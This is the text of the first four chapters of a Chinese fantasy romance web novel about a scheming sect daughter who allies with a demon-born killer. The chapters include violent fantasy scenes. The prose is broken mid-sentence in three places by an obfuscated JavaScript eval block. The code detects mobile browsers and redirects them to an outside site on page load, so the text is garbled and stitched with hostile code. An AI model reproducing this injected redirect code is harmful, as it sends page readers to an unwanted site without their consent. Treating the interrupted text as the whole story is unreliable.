《疯犬是我裙下臣》 1. 第一章 程今越抬头时,她看清了平城的梅雨季。 阴云锁天,雨丝如幕,湿润的雾气在无声地缠绕,像一团被浸湿的毛线团,堵在谁的心口。 地动之后,百川沸腾,山冢崒崩。平城的砖瓦城墙,人物故事,都在连绵的雨中化作一声声哀泣。 程今越朝远处的慌乱的人们望去,轻轻皱起了眉头,哭泣的声音牵动着她如水的眼眸。 她想要往前走,却被高大的人挡在身前,阴影遮住她瘦弱的肩膀,他朝程今越低着头。 “三小姐,平城死伤惨重,恐怕仅靠你很难做些什么,况且……如今下了雨,在下担心您的身子。” 话里的意思,其实就是不想让她去。 向后望去,程今越的身后竟然站着一群黑压压的侍卫,各个人高马大,都是程望用来看守程今越的人。 她的一举一动都在程望的观察之中,无时无刻不在的视线让她浑身不适。 谁能想到,大衍剑宗的三小姐,其实是一个被人监视着的金丝雀。 而现在是她一天中仅有的外出时间。 程今越穿了白色的长裙,发髻束得简单,就别了一根白玉簪子,墨发如瀑,垂至腰间,恍若绸缎,她的身形在一群黑压压的人中显得格外单薄,好像一阵风就能够吹走。 为首的人等着程今越的回答,先看到的却是她那一双含泪的眼眸,眼尾微红,细长的眉头蹙起,在一张白净的小脸上,让人无不为之可怜。 她声音轻柔,“今越不忍心就这样看着,若能做一点便也是一点。” “也算是……为长公子积个福气。” 最后的理由让为首的侍卫松了口,“时间不多,三小姐抓紧。” 程今越点了点头,在一群人的目送之中往平城走去。 在所有人都看不到的地方,程今越的嘴角轻轻勾起,和她眼眸的泪显得极其割裂。 众生哭泣着,有人却突然注意到了那一抹光亮。 “是大衍神女!” “拜见神女!神女在上,信民虔诚叩首!” “神女现世,救苦救难,弟子深陷迷途,求神女指引!” 所有人朝那个方向跪去,毕恭毕敬,再三叩首,嘴中念念有词,恍若拜神佛。 只见神女洒下一片粼粼波光,众人身上的疼痛顿时消减,再次朝程今越疯狂叩拜着,甚至不管额头已经被磕破,鲜血淋漓。 那是菩萨的低眉,眼中无限慈悲。 骨相柔美,眉眼充满悲悯,有着神性的庄严,却并不哀苦。 她嘴角微抿,既亲近又疏离。 不过神女并没有在看她的信徒,她一眼便抓住了那一双桀骜不驯的眼眸,这才是她要找的人。 这是她破局需要的出路。 对方身材瘦削但高大,湿漉漉的,衣裳破烂,混在人群之中,他喘着粗气往城外走着,鲜血随着他的步伐流了一路,一身的戾气无法掩盖。 程今越立马留下幻影在空中,本体已经落到了地上,她跟随着血迹往前走着,鲜血染红了她的白裙。 对方一路疾驰,迅速走到了城外偏僻的地方,程今越差点有些跟不上。 此时,迎面却走来了几个人,他们嘴里念念有词,是对大衍神女的无尽崇拜。 在昏暗迷离的光中,对方听见了信徒痴迷的声音,不禁嘴角缓缓透出一抹冷笑,格外讽刺。 他路过这群人,只是擦肩的刹那间,这群人便如同筷子被从中折断一般,瞬间被拧成两段,血液飞溅,同时传来始作俑者阴郁而疯狂的笑,如同鬼魅一般。 不像人,更像是一只疯狗。 程今越离得不远,笑声清晰地传入她的耳朵里,她顺着声音而去,便到达了已经血肉模糊的场地。 眼前一片鲜红而刺眼,但也没能让众人敬仰的神女眨一下眼睛,她的眼眸依旧平静,嘴角温柔着,似笑非笑。 她点了点头,确认了魔种就在附近。 四周的气氛格外压抑,程今越能感受到浓烈的魔气与杀气,带着不加掩饰的恶意。 这是格外强大的力量,若是有一个凡人在这片场地,便会瞬间被碾成肉泥。 程今越站在原地没有动,她看着赭色的地面,扫过摇曳的树木。 她能感受到四面而来的注视,像潮湿的雨,像无形的蛛网,带着侵略性。 尽管程今越在无数魔鬼手中死里逃生,面对过无数生死一线的场景,可站在这里时,她依旧免不了胆战心惊,汗毛竖立。 就在眨眼之间,一双带着茧的大手瞬间从程今越的身前袭来,扼住了她的喉咙,强大的气息袭击在她的身上,让她瞬间没站稳,猛地跌倒在地上。 血腥气猛然贴到她身上,强壮高大的身躯将她压在地上,浑身的疼痛席卷而来。 同时一张带血的脸如鬼魅一样出现在她的视线之中,她的呼吸瞬间停滞,心跳都慢了一拍。 程今越看清楚了这张脸。 一双眼睛带笑,眼眸却如同深不见底的湖水,如同抹不开的墨色,笑中是玩味和挑衅,深邃俊逸的脸上满是血,像是从地狱爬上来的恶鬼。 而他的手死死掐住程今越的脖子,只需要轻轻一用力,就能将这柔嫩的脖子掐断。 “你就是这群蠢货信奉的大衍神女?” 猖狂而讽刺的笑声大声响起,带着几丝疯狂和病态。 他最讨厌的就是高高在上,许以人们所谓希望的神佛了。 他喜欢看菩萨掉落凡尘的戏码,更希望看到她那不染风霜的脸,变得恐惧,颤抖,甚至放声哭泣,恳求他给予一条生路。 毕竟,众人敬仰的菩萨去卑微乞求一只被所有人厌恶的魔鬼,实在是太让人期待了。 光是看到程今越的第一眼,他的脑海里就忍不住去遐想了,他浑身激动,愉悦得颤抖。 他低头死死盯着程今越,不肯放过她任何一个细小的变化。 “想好怎么求饶了吗?” 他看见程今越的眼眸开始有些呆愣,他已经预料到这张脸就要开始因恐惧而变得痛苦。 可是这一切居然没有发生! 他看着程今越那张温柔点脸上逐渐染上了笑意,一双眼睛不断张大,闪烁着刺眼的光芒,嘴角还止不住地上扬,他不仅没有看到恐惧,甚至感受到了兴奋与愉悦! 为什么程今越没有感到害怕?为什么? 他是天生魔种,他身上忍不住散发出来的魔气会对所有东西造成压迫。 所以只要是活着的东西待在他身边,就会止不住地产生恐惧,害怕他,厌恶他,不敢与他对视,想要逃离他,杀了他! 可为什么会这样?程今越明明只是一个修为极低的普通人。 程今越心脏如擂鼓般剧烈跳动,伴随恐惧而生的,是巨大的兴奋,她的眼眸闪烁着光芒,忍不住仔细打量着眼前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14548794|155328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的这张脸,好像要将它吞进眼眸之中。 伴随程今越的笑靥绽放,对方脸上猖狂的笑瞬间止住,一双眼眸里变得疑惑,不解,呆滞。 他不明白为什么! 他甚至忘了手中使劲,忘记杀了她! 还未等他反应过来,程今越突然坐起来,用双手猛地抱住了他。 这位恶贯满盈,手中鲜血无数的魔鬼真正地愣在了原地。 呼吸在这一刻骤停,声音在这一刻变成一声嘶鸣,猛烈的心跳在他耳边轰隆响起。 从来没有过的,如此鲜活的跳动。 他方才还在感受对方与他对视时温柔的目光,这是他从来没有体会过的。 而此刻,好闻的幽香,清晰的温度,柔软的触感,在他脸庞上轻轻划过的发丝,更像是在做梦一般。 程今越,竟然拥抱了他! 她竟然敢抱他? “我找你很久了,我是来救你的,我叫程今越,是大衍剑宗的三小姐。” “有没有兴趣和我合作呢?” 程今越的声音轻柔细软,说话缓缓,不急不慢,在他耳边轻轻响起。 他浑身都在颤抖,甚至一时之间没有理解程今越的话。 全身僵硬得如尸体一样。 愣了好久,他才用力推开程今越,一脸不敢置信地看着她。 “你来救我?你一个仙门的大小姐,竟然要来救我这一只魔,你不觉得这是一个天大的笑话吗?“ 这个女人肯定是在拖延他的时间,她肯定是跟要抓她的那群人一伙的,他如果再不赶紧走的话,那群人就要追上来了。 程今越又被推倒在了地上,细雨打湿她墨色的长发,贴在她如雪的脸庞上,浑身的疼痛让她双眸微红,泛着泪光,看起来楚楚可怜,宛如一只白兔,毫无攻击性。 但魔种可从来不会被人的外貌欺骗住,他冷冷地走到程今越的面前,施加出全身魔气的压迫,如果是正常的修为较低的人,现在就已经七窍流血,暴毙身亡了。 可程今越不仅没有死,还从地上慢慢地爬起来,笑着盯着他,这超出了魔种的认知。 “你是不是在想,为什么我不会因魔气而产生恐惧,为什么没有因魔气而死?” “因为我跟你是同类人,我是来帮你的,我们是同伴。” 程今越死死压住喉咙里的血,心跳得极快,肺腑的伤根本无法压制住她的喜悦。 这只魔种真的是太强了,这还是在被封印的状态下,就已经胜过了仙门里的绝大多数人。 她一定要和他合作,让这只疯狗成为自己手里最锋利的一把刀。 她已经站起身来了,虽然白裙上面都是污渍,但她依旧不慌不忙,声音轻柔,甚至带着一丝压迫。 魔种彻底愣住了原地。 他的理智告诉他,要立马杀掉程今越,对方居然能不受他的压迫,也不会感到害怕,如果不杀掉她,那么将后患无穷! 可是他的身体却始终没有动作。 同类,同伴。 只要是活着的生灵,几乎没有不渴求这个的。 谁不想要有人同他并肩而立,用温柔和善意去对待他呢? 更何况,魔种从生下来就没有获得过这种东西。 这就像是甜蜜的毒药,像是飞蛾扑火,让他看到了一丝希望,不想放手。 尽管他明明知道,这可能就是一个陷阱。 2. 第二章 在魔种没有动作的时候,程今越已经在向他一步步靠近了,带着笑容,从容不迫。 “我可以先证明,我可以先提供我的价值。” 四周的杀气浓郁,魔种随时都会杀了她,可程今越就是喜欢赌,她要孤注一掷。 还未等魔种开口,只见程今越突然抿嘴眯眼一笑,细长的指甲划破她另一只手的食指,刺眼的鲜血从那雪白如瓷的肌肤中流出。 突然,她伸出手指,撬开他毫无防备的嘴唇,鲜血流入他的口腔之中。 “你在做什么?”魔种又一次将她推开,擦了擦嘴角的血,神情惊恐。 瞬间,他感受到自己体内血液飞速流动,有一道暖流融入体中,随即,那道封印,他没有一点办法的封印,竟然在那道暖流的支持下,渐渐松动了一些。 怎么可能? 这是那群仙门中人,专门找长明族的人为他下的封印。 凡是由长明族人下的封印,就只能由长明族来破解。 可这世间,长明族的族人寥寥无几,早就因能力过于强大被赶尽杀绝,他根本寻不到长明族的人。 而程今越,这个看起来弱得跟一朵小白花的人,竟然能够解除他身上的封印? 他的心中破天荒地开始相信,难道程今越真的是来帮他的? 可他宁愿相信程今越这么低修为的人可以杀了他,也不愿意相信有人会来帮他。 “怎么样?现在你相信了吧。”程今越缓缓喘着气,一边强忍着身上的伤,一边站起身来。 对方仅仅是露出杀气,就让她难以呼吸。 她朝魔种走过去,可却被对方制止住。 “你再动一下,我马上掐死你。” 他冷冷地说这,神情带着防备。 这不是一句玩笑话,冷厉的魔气萦绕在程今越四周,她的肌肤好像在刀刃上触碰,脆弱地脖颈暴露在空中,只要她轻轻一动,就会被划破,当场毙命。 这样的魔气,程今越就算是有长明族的血脉加身,也无法抵御。 她站在了原地,没有再上前,只是柔柔着笑着,好像没有感受到他的恶意,抬头看着魔种。 “可以告诉我你的名字吗?”她问。 “名字?我不需要这个东西,不过是凡人所用的累赘的东西罢了。”他冷哼一声。 他的父母都是普通凡人,而他却是天生魔种,听别人所说,他甚至是自己剖开母亲的肚子才出来的。 他生下来就被所有人厌恶与讨厌,见过他的人无不恐惧他,无不想杀他。 他的生父生母看见他的第一句,便是恐惧地大喊:“怪物!” “杀了他!杀了他!” 所以他根本就没有人给他取名。 而且他也没有朋友,所以也没有人需要去称呼他。 他就这样没有名字活了这么多年。 “你们不已经对我取名了吗?‘魔物’、‘魔种’、‘怪物’,随便你喊。” 他嘲讽地笑着,黑黝黝的眼睛盯着程今越。 可程今越却摇了摇头,“不,你不是。” 她低眸思考了一下,一张笑靥又朝着他笑,她说,“那我为你取名吧。” “你是我最特别的朋友,是世间独一无二的存在,是我的珍宝,你就叫‘怀钰’,怎么样?” 程今越其实离怀钰有几步的距离,可怀钰却觉得程今越的声音就在自己的耳畔。 明明她的声音那么温柔清雅,可怀钰却浑身颤抖,甚至觉得这声音带着强烈的蛊惑性。 他抬头死死盯着程今越,看着她将手中的血凝做一团,变成一颗红色的珠子,悬浮在空中,又递到怀钰的面前。 怀钰没有接,他还在犹豫。 强烈的本能告诉他不要相信这个女人。 他不信程今越。 他不相信仙门中的人会来帮他。 怀钰? “独一无二的存在”“珍宝”? 这种词怎么会出现在他的身上,这个女人撒谎可真是不眨眼睛,为了从他手里说下去,什么话都编得出来。 见对方没有回答,程今越又弯着眼睛笑着说,“我们是同伴了,不是吗?” 她又将红色的珠子放在他的跟前。 “你可以信任我,我比你更想要那群人死,真的。” 她浑身气质温婉,声音温柔,长发被雨淋湿,肌肤瓷白,看起来只能依靠在别人的身上。 这句话和她的外貌一点都不符合,却偏偏由她那淡淡柔和的声音说了出来。 程今越感受到有人在找她了。 她的时间不多了,没时间跟这只魔种耗了。 “我常常心疼苍生百姓,所以在大衍剑宗里设了收留凡人的地方,你可以靠着它来找我,你肯定能做到。” “怀钰,我们来日方长。” 怀钰接过这颗红珠子的时候,程今越已经消失在了他的眼前。 程今越用了仅有的符咒,才从强大的魔场中逃离,她大口喘着气,将压在胸口的血吐出来,又迅速用咒语清理干净,这不能被他们发现。 身上的疼痛蔓延至全身,可这却让她更兴奋,脸上的笑意止不住地上扬。 一张柔美的脸上出现如此愉悦的笑,怎样都显得有些诡异的美。 这痛苦提醒着她,这只魔种是这样的强,就算是魔种不愿意帮她也没有关系,他只要活着,就能让仙门里的人死得更多,这样她也可以心满意足。 她离开平城时,雨下得越来越大,但她没有伞,一身白衣淋了雨,让她显得更加楚楚可怜。 高大的侍卫们等候她多时,黑压压地挤在了一起,四周鸦雀无声,所有人面无表情。 她正要归队时,侍卫们突然分开,让出了一条路,毕恭毕敬,低下了他们的头。 这显然不是对程今越的礼数。 一个身着雍贵的人从人群里走出来,有专人为他打着伞。 可就算是多华贵的衣裳,也挡不住他身上的纨绔之气。 程望。 大衍剑宗的长公子。 靠着父母的血脉,得了还不错的天赋,拥有一副上等的剑骨。 总是自以为是,狂妄自傲,以权谋私,以势欺人,每次都让他的父亲给他兜底,什么强抢民女,杀人放火,在他这里都算小事了。 他玩过很多女人,按理来说不会看上程今越。 程今越的外貌在他见过的女人里面,也只算作是中上,不算最拔尖的那种。 她总是温柔,柔弱,偶尔一次出门,也只是来帮助一下这些根本没有什么价值的凡人。甚至得了一个“大衍神女”的美名。 在凡间,甚至有人特地为她供了香火,把她当做神明来跪拜。 她乖巧,顺从,像是一朵可以任人玩弄的小白花,这样的女人本不该让程望产生感情。 但唯一让他注意的,就是她那总是慈善悲悯的双眸,清冷忧郁的气质。 谁不想让高高在上的神女跌落凡尘,看她浑身靡乱的场景呢? 从程望看到程今越的那一刻开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可偏偏长明族的族人,生育困难,百年才能有一胎,同时武力值不高,没有自保能力。在这世间,便是虎视眈眈的肥肉,族人惨遭杀戮,残存无几。 所以这长明族血,一滴便可值灵石万颗,人人都趋之若鹜。 于是程今越的身边,就这样变得空无一人。 可是她不想死,她不甘心。 所以她放手一搏,来到大衍剑宗,与宗主做了交易。 她为程蕴知做药,大衍剑宗给她一个身份,给予她庇佑,免她于逃亡。 宗主答应了。 毕竟那个时候,程今越已经将剑放在了自己脖子上,如果宗主不从,程蕴知可真的要死了。 程今越熟练地将自己的手腕割破,看着鲜血汩汩流出,面不改色。 在大衍宗主夫人,李从霜的死死监督之下,制成了丹药,并且迅速将她手上的伤口治愈,免得被人看见,落下口舌。 这样下来,程今越脸色格外苍白,却还要温柔地朝李从霜作揖,脸上的笑容依旧温柔。 这样的事,每七日便要来一次。 但程今越必须这样做,因为在这世间,她有怀璧之罪。 药送过去了,程今越要马上好好休息,她可不能死在这群人之前。 她在司药宫休息了片刻,却听见有人在唤她,兴高采烈的。 “今越!终于找到你了!” 又是她,程蕴知。 3. 第三章 骤雨新霁,司药宫的空旷庭前清净如洗,树色之上还带残雨,晚晖拨云而入,倾洒在程今越的身上。 偌大的庭中仅程今越一个人,黑发散落至腰间,随着清风晃动,在光下如绸缎一般,如妖似灵。 听到程蕴知的声音,她漫不经心地将面无表情的脸带上一抹温柔的笑。 她轻轻地转头,露出半张精巧的脸。 “姐姐,你找我吗?” 她的声音轻而淡,只有庭中几人能够听见。 程蕴知笑着朝程今越奔过来,脸上的笑容不加掩饰,与光一同肆无忌惮的绚烂着。 不过比她笑容更绚烂的是她身上的衣裳。 丝是极寒天蚕丝,百年才成三寸,衣上的颜色由百种灵花染上数十年才成,其中的每一株花都是世间难求,其上勾勒花纹的金丝,是用鲛人身上的鳞片混合天地罕见的绮斓石做成。 就算说比这太阳还要耀眼也不为过。 身后跟着浩浩汤汤几十人,无不低头恭敬,其中不乏有大衍剑宗修为深厚的先辈,仙界声名远扬的天才。 如今,都是程蕴知身后跟着的仆从之一罢了。 虽然都是大衍剑宗的小姐,程今越如今的衣衫甚至还未干透,一个人清冷地立在原地。 众人面上虽然不说,但是心里想的是什么,大家都心知肚明,各样的眼光齐齐投来,程今越毫不理会,面上仍是柔柔的笑。 程蕴知握住程今越的手,又瞬间察觉到了什么,她转身望向身后一大群人,“你们都退下,离得远远的,别来叨扰我和我妹妹说话。” 众人立马退至司药宫外,庭中只余两人。 程蕴知摸了摸程今越的衣服,从袖口摸到衣角和裙子,没有一处是干的,她脸上的笑瞬间消失,满眼是心疼,“你可是剑宗名正言顺的三小姐,就算是前年才来的宗内,那也是主子,这群人怎么伞都不给你打一个!” 程蕴知连忙脱下了自己身上那华贵的衣服,披在了程今越的身上,程今越想要伸手拒绝,但耐不住对方态度坚决,一阵暖意从衣服上传来,程今越低了头,眼眸中透露着谢意。 “姐姐……其实我真的没事,是我自己非要去人间,偏偏没有带伞,怨不得别人……” “不许为他们说话,下人就是下人,做不好事情就应该领罚。”她朝周围的婢女使了个眼色,其余人当即便将相关的人拉了下去,哀哭声乍起。 但程蕴知并未听到一般,“我不想看到你淋湿的样子,我好心疼你的,快随我回天极宫,把湿衣服换下来。” 她拉着程今越便往回走,随手摸出一张符咒,程今越刚看清这符是符道大宗师亲手制成的符,能瞬间将人传送至千里之外,众人重金求不得,随后,她便看到程蕴知立马用掉了这张价值连城的符咒。 再睁眼时,已经到达天极宫了。 她面上无太大的表情,心中却微微冷笑,别人梦寐以求想要得到的,不过是大小姐手中最不起眼的东西罢了。 天极宫奢华无比,便是从宫门走到程蕴知的寝宫,便又是好一会儿的路程。 眼前婢女无数,只见程蕴知轻轻挥手,几套价值不菲的衣裳被呈在了程今越的眼前。 “小妹,你快挑一件换上,免得着凉了,剩下的我让人送到你的宫里面去。” 她满意地看了看眼前的衣裳,这都是她精心挑选出来给程今越的,就是不知道能不能入程今越的眼,毕竟她的小妹不在剑宗的十几年间,到处走南闯北,见过奇珍无数,或许还看不上她手里的这些破烂。 程今越外貌看起来和程蕴知差不多大,其实只是因为长明族天生长寿,她早就在世间游荡了近百年之久,见过的人无数,像程蕴知这种身份的,屡见不鲜。 但像程蕴知这样又单纯又富贵还热情的,倒还是第一次见。 说白了,就是格外的好骗,回报还高。 程今越有些嫉妒程蕴知,命偏偏就这样的好,她程今越在血海里苦苦挣扎,想求一条性命,梦想是能自由地活着;彼时我们的大小姐,有无数人为她鞍前马后,这辈子都享尽荣华富贵,不为之后的事情忧愁。 但她又可怜程蕴知,在这样一个大仙门之中,却成了不能握剑的废物,若是天生如此,倒也还好,可偏偏她曾有过一段被人誉为天才的时间,那时她有着绝佳的剑骨,是所有人仰慕的冉冉升起之星,如今却坠落凡尘,无数人为之唏嘘。 程蕴知出不了门,因为病弱,总被关在家里,可偏偏其他人都因为她的身份,不敢为她讲外面的故事,她也讨厌他那令人作呕的哥哥。 所以知道自己有个亲生妹妹流落在外,如今才回家,心中便又心疼又欢喜,每天央求着程今越为她讲着外面的故事。 在程蕴知的印象中,程今越见识丰富,温柔善良,总是照顾花草,收养流浪的猫狗,心思细腻,总是为她准备礼物,耐心地为她讲解天下所有的故事,是程蕴知从来没有见过的菩萨一般的人物。 程蕴知觉得,只要是和程今越接触过的人,都会喜欢上她,让人想起那句诗,“已识乾坤大,尤怜草木青”。 程今越随便挑了一件衣服换上,任由着熟练的婢女为她梳妆打扮,程蕴知站在程今越身边,开始央求着程今越讲今日的故事,倒显得程今越更像是家中的姐姐。 讲些外面的故事,对程今越来说自然是手到擒来,真假混杂,只要能讨程蕴知喜欢就行。 她受着程蕴知崇拜的眼神,不加掩饰的夸赞,只是淡然地笑着。 可说尽了故事,也没有程蕴知最想听的那个,便是程今越无意间透露的,今天去人界的故事。 她实在是好奇,最终问出了口。 程今越面上微愣,避开她的目光,轻微躲闪着。 对方敏锐地捕捉到,握住程今越的手,瞬间皱眉,“小妹,是不是他们又欺负你了!” 她站起身来跺脚,又转了一个圈。 “你别怕啊,你就是性子软,又善良,总让这群人欺负,你只管跟我说,我给你出头!” 程今越面上垂着眸,心中却暗笑,可算是扯到这件事了。 等对方催了又催,她才红着眼睛开始讲着。 “今日我到平城之时,城中破碎,百姓流离失所,尸横遍野,无不哀哭。” “自知事之日起,今越便受百姓帮助,吃百家饭长大,如今面对此景,心中哀恸,于心不忍,方又出手相助。” 她垂着眸,眼泪一滴一滴从脸颊上滑落,声音细微而颤抖,显得她谨小慎微。 方说完,程今越便低着头朝程蕴知认错,声泪俱下。 “□□日告诫我,勿要多管闲事,可我偏偏改不了这陋习,又挑了几个无家可归的带回了宗门之中……” “请姐姐责罚!” 程蕴知面色大惊,立马将程蕴知拉起来,用纤细的手擦干净她脸上的泪。 “小妹,你这算什么 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程今越的泪在对方安慰的话中落个不停,楚楚可怜,让程蕴知一阵心疼。 程今越总是喜欢落泪,眼中总是湿润而泛红,或许她并没有多想哭,但哭已经成为了她的本能。 哭是她的武器,刀刀见血,也是她赎罪的工具,洗清她心中的愧疚,冲净她的罪孽。 这句话一到手,程今越便借着理由走了,尽管此时程蕴知才想起来,此行的目的是要带程今越是挑选一月后家宴要穿的衣裳和首饰。 她再三嘱咐,让程今越过几日再来寻她,定要为她好好选漂亮的衣裳。 程今越之所以着急着离开,是因为她感受到那熟悉的魔气涌现了。 其他人或许感受不到,但她能。 离远了天极宫,身后的人都散去,她从袖中摸出一滴鲜红的血凝做的血珠子,她用微红的指尖揉捻着,嘴角带着玩味的笑。 这是她拥抱怀钰时,从他血淋淋的身上取下的,长明族对鲜血与气息最为敏感,拿到了一个人的血,便能知道他的动向。 这倒是有些出她所料,她还以为怀钰会多隐忍两日,结果这才半日时间,就耐不住性子来寻她了。 不过这倒也是,毕竟,野狗终究是野狗。 她朝着司医宫走去,这是大衍剑宗为弟子疗伤的地方,也是安置外来凡人的地方。 可程今越才刚一迈步,便感受到有一双眼睛在死死地盯着她。 像黏腻的蛛网,缠绕在她的身上,怎么都甩不掉。 这道目光仿佛带了一丝不怀好意的窥探,就像冰冷的蛇信子,轻轻舔舐着她的肌肤,让她脊梁发凉,不自觉加快了脚步。 是谁? 是谁在盯着她? 她转头扫视四周,来来往往的弟子经过,除了常规的朝她问好外,并没有其他一丝的可疑之处。 但这就是最可疑的地方。 她快步朝司医宫走去,但背后的目光并没有消失,反而越来越浓烈,好像一张无形的网,慢慢收紧,将她笼罩其中。 她面上依旧镇定地问着司医宫的人,要见见今天来宫的新人。 可一排新人站在她面前时,她一个个扫视过去,却没有发现那一张熟悉的脸。 怀钰不在这儿,那会在什么地方? 她明明感受到了他的气息! 4.第四章 她将眼前的人脸仔仔细细看了一遍又一遍,好像要透过面皮,看到这些人的血肉。 可终究是没能看出什么端倪。 程今越和其他族人最大的不同,便是她的天赋——她对气息和血的掌控超过所有的人。 这也是她能从无数地狱和尸堆里爬出来的原因,她能感受到追杀她的人的气息。 但现在,一切都变了。 分明怀钰的血珠就在她的手里,分明她感受到怀钰浓郁的魔气就在四周,分明她感受到了阴湿的目光。 可偏偏她找不到怀钰在什么地方。 这太有意思了。 比紧张和害怕更先到来的是兴奋。 不愧是天生魔种,只要稍微解开一点点封印,他便能够逃离程今越的感知蛛网。 “三小姐,这些人是要怎么处置吗?”司医宫的领事王青生看着她默不作声,便出声询问。 “没什么,我认认人,将他们放回去吧。” “记得给他们几本功法,一个月后我便来考察他们的实力。” 程今越柔柔地笑着,转身便要朝外走去,一个颤颤巍巍的声音突然从远处叫住了她。 “神女……” 一个瘦弱的少年从一众人的身后走来。 “何人敢叨扰三小姐!”王青生闻声立马拦住那个少年,大声斥责。 程今越抬手制止住王青生,她微微歪头,细细盯着眼前这个少年,神情温柔。 “找我有什么事吗?” “神女……上次您吩咐的学这几本功法,我都已经学会了……神女若是有空闲,便可来考考我!” 他身形瘦瘦小小,脸颊上稀疏地散布着一些雀斑。 看得出来他有些紧张,他双手不自觉地紧紧攥着衣角,眼睛不断眨着,眼眸中闪烁着光。 他突然想起来什么,立马又说道,“忘了为神女殿下说我的姓名,我叫……” “我知道,你叫阿年,我记得你。” 程今越接过他的话,目光落到他的身上。 她记得阿年灵根的气息,是上一批的人里面灵根最出众的。 阿年瞬间抬起眸子,神色欣喜,格外激动,“神女竟然记得我!”,他不太会控制自己的感情,眼眶顿时竟然变得湿润起来。 这样温柔而善良的神女殿下,救了无数人的性命,竟然还记得他阿年这样一个无名小卒的名字! 他激动得不知道说什么好,便感受到程今越的略微冰凉的手落到了自己的头上,轻轻摩挲着,声音轻柔,眼睛弯弯的,他甚至能闻到神女殿下身上的香味。 “好啊,阿年很厉害,过几日我便来考验你,要好好准备哦。” 阿年眼中的泪瞬间无法控制,奔涌而出,他口不择言的说了好多他自己都不知道的话,神女竟然温温柔柔的都回应他了,好像在做梦一样。 王青生看着阿年,皱了皱眉。 王青生不懂程今越为什么这么做, “三小姐,您又何必对这些人多说话呢,不过是个稍微有些天赋的凡人,在我大衍剑宗,这些人要多少有多少,这些事交给我们这些下人来做便好。” 这样的话,他从前已经说过数次了,但程今越总是耐心地解释她这样做的原因。 他总是忍不住叹气,三小姐是多么一个心地善良的人,可偏偏总被长公子为难…… 看着越发激动的阿年,王青生立马出言告诫他,不要再浪费三小姐的时间,阿年这才恍然大悟,再三道谢着离开。 程今越点了点头,背身离开。 转过身的一瞬间,她立马冷了脸。 这些蠢货,不要再来浪费她的时间了。 她一路朝着渡生宫走去,这是她住的地方。 那道目光没有消失,反而更在肆无忌惮起来,未知让人恐惧,她的心跳得越来越快,冷汗从她的手心里溢出,尽管她的脸上却一如既往的寂静,一双眸子沉静如水。 渡生宫没什么侍女,唯一的几个也都是用来监视她的。 她一路走到自己寝宫之中,如往常一样。 还未落座,那道阴湿的目光便瞬间暴露出来,一道狠厉的气息袭来,一双带着青筋的大手瞬间将程今越的脖子扼住,程今越瞬间摔在床上,对上凶手那一双微微显红的双眸。 窒息感如潮水袭来,这双手如冰冷的铁钳,让程今越不得呼吸,死亡在此刻离她是如此之近,她浑身颤抖着,脸迅速涨红。 怀钰压着程今越的身上,死死地盯着她的双眸,脸上的血还是如之前的一样,甚至都没擦干,浑身带着浓烈的血腥气,他脸上的笑意越发深厚,甚至忍不住笑出了声。 这可谓是他见过的仙门中最弱的人了,他只要轻微一用力,程今越便会立刻死在他的手上。 他今天来就是做这件事的,不能让这样一个不受他血脉压制的变数活下来。 但程今越这个人还挺有意思的,怀钰一时起了性子,倒是想多看看她的反应。 可诡异的是,程今越竟然也跟着他一起,笑了起来。 她的手瞬间触摸到怀钰的脸,冰凉的触感袭来,让怀钰猛地放开程今越的脖子,一把打走程今越的手,眼神中带着嗔怒。 程今越瞬间得以呼吸,她大口大口呼吸着,坐在床上,微微整理着凌乱的发丝,她脸上的笑越发浓厚,她仔仔细细将怀钰看了一遍又一遍,“我等你好久了,怀钰。” 怀钰从来没有被人这样直愣愣地看过,从来没有人能这样温柔着笑着看他,他不禁心中升起一种莫名的恐惧感,这让他无法掌握,眼眸中带着一丝难以置信。 “我不叫怀钰,别用这个恶心的名字叫我,我不需要名字。” 程今越缓缓站起来,坐在了木桌旁,她施了个术法,手中突然出现一个装着热水的木盆,她轻轻将帕子打湿,朝怀钰挥手,指了指身旁的椅子,“来坐,怀钰。” 对方毫无反应,死死地站在原地。 他的警惕性很强,死死地看着程今越的动作,他倒要看看这个连天赋拙劣,灵根杂乱的神女,究竟要对他做什么,如果她一旦要做什么不好的事情,他立马就能掐断她那纤细的脖颈。 是因为他要掐死她,所以她恼羞成怒,要和他誓死反抗?亦或是说她终于看清了他这只魔的真面目,选择和他放弃所谓的合作? 怀钰调笑着看着程今越。 程今越拿着打湿的帕子,一步步朝怀钰走去,她轻轻垫脚,用热帕子擦拭着怀钰脸上的血迹,“疼吗?” 他愣在了原地。 只感受到温柔的气息在他周身萦绕,脸上与脖子上,还有手上的血,都被程今越温柔地擦拭着,碰到他身上的伤口时,她小心翼翼的,温柔地询问他。 “你到底想要做什么?”他不明白程今越这样做的用意是什么。 程今越却疑惑地抬起头,笑着看他,“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14559442|155328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是说了吗,我们是同伴,互相擦拭伤口,不是应该的事情吗?” 